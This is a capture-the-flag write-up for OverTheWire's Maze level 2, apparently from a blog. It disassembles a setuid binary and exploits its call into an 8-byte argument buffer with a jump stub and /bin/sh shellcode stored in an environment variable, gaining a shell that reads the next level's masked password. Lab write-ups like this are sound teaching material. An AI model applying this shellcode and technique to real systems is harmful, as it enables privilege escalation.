OverTheWire.org - Maze - Level 2 Writeup

First step, we disassemble in gdb:

maze2@maze:~$ gdb /maze/maze2
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804841b <+0>:     push   %ebp
   0x0804841c <+1>:     mov    %esp,%ebp
   0x0804841e <+3>:     sub    $0xc,%esp
   0x08048421 <+6>:     lea    -0xc(%ebp),%eax
   0x08048424 <+9>:     mov    %eax,-0x4(%ebp)
   0x08048427 <+12>:    cmpl   $0x2,0x8(%ebp)
   0x0804842b <+16>:    je     0x8048434 <main+25>
   0x0804842d <+18>:    push   $0x1
   0x0804842f <+20>:    call   0x80482e0 <exit@plt>
   0x08048434 <+25>:    mov    0xc(%ebp),%eax
   0x08048437 <+28>:    add    $0x4,%eax
   0x0804843a <+31>:    mov    (%eax),%eax
   0x0804843c <+33>:    push   $0x8
   0x0804843e <+35>:    push   %eax
   0x0804843f <+36>:    lea    -0xc(%ebp),%eax
   0x08048442 <+39>:    push   %eax
   0x08048443 <+40>:    call   0x8048300 <strncpy@plt>
   0x08048448 <+45>:    add    $0xc,%esp
   0x0804844b <+48>:    mov    -0x4(%ebp),%eax
   0x0804844e <+51>:    call   *%eax
   0x08048450 <+53>:    mov    $0x0,%eax
   0x08048455 <+58>:    leave
   0x08048456 <+59>:    ret
End of assembler dump.

The application does the following things:

  • t compares argc and if != 2 then exits (one argument is needed)
  • it calls strncpy(target_buffer, argv[1],8) 
  • it then calls *%eax, when %eax contains the address where the target_buffer starts 
So the execution flow can be transferred to some address of our choice using  the command line parameter.

Let's try to put some NOP in the buffer and see what happens by stepping the istruction after the call *%eax

(gdb) set args $(python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90"')
(gdb) break *0x0804844e
(gdb) r
Starting program: /maze/maze2 $(python -c 'print "\x90\x90\x90\x90\x90\x90\x90\x90"')

Breakpoint 1, 0x0804844e in main (argc=2, argv=0xffffd784) at maze2.c:26
26      maze2.c: No such file or directory.
(gdb) stepi
0xffffd6dc in ?? ()
(gdb) x/wx 0xffffd6dc
0xffffd6dc:     0x90909090
(gdb) stepi
0xffffd6dd in ?? ()

The execution flow is move to the NOP in the 8 byte buffer.
But with only 8 bytes we don't have enough space to put a shellcode in it.

We can place the shellcode somewhere (EGG in ENV) and try to jump to it with a direct jump.

First, let's try to simulate a direct jump with the following istructions:

  • mov 0xffffd8aa,%eax  ; "\xb8\xaa\xd8\xff\xff"
  • jmp %eax                   ; "\xff\xe0"
Then use it as command line argument in gdb:

(gdb) set args $(python -c 'print "\xB8\xAA\xD8\xFF\xFF\xff\xe0"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze2 $(python -c 'print "\xB8\xAA\xD8\xFF\xFF\xff\xe0"')

Breakpoint 1, 0x0804844e in main (argc=2, argv=0xffffd784) at maze2.c:26
26      in maze2.c
(gdb) stepi
0xffffd6dc in ?? ()
(gdb)
0xffffd6e1 in ?? ()
(gdb)
0xffffd8aa in ?? ()

We can see that execution (EIP) was moved to memory address 0xffffd8aa

Now let's put an EGG in the ENV and try guessing an address on the stack (given previous levels, we can guesstimate address 0xffffde60

maze2@maze:~$ export EGG=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"')

(gdb) set args $(python -c 'print "\xb8\x60\xde\xff\xff\xff\xe0"')
(gdb) r
Starting program: /maze/maze2 $(python -c 'print "\xb8\x60\xde\xff\xff\xff\xe0"')
process 19220 is executing new program: /bin/dash
$


It works in gdb!
Outside gdb:

maze2@maze:~$ /maze/maze2 $(python -c 'print "\xb8\x60\xde\xff\xff\xff\xe0"')
$ id
uid=15002(maze2) gid=15002(maze2) euid=15003(maze3) groups=15002(maze2)
$ cat /etc/maze_pass/maze3
b*******k
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.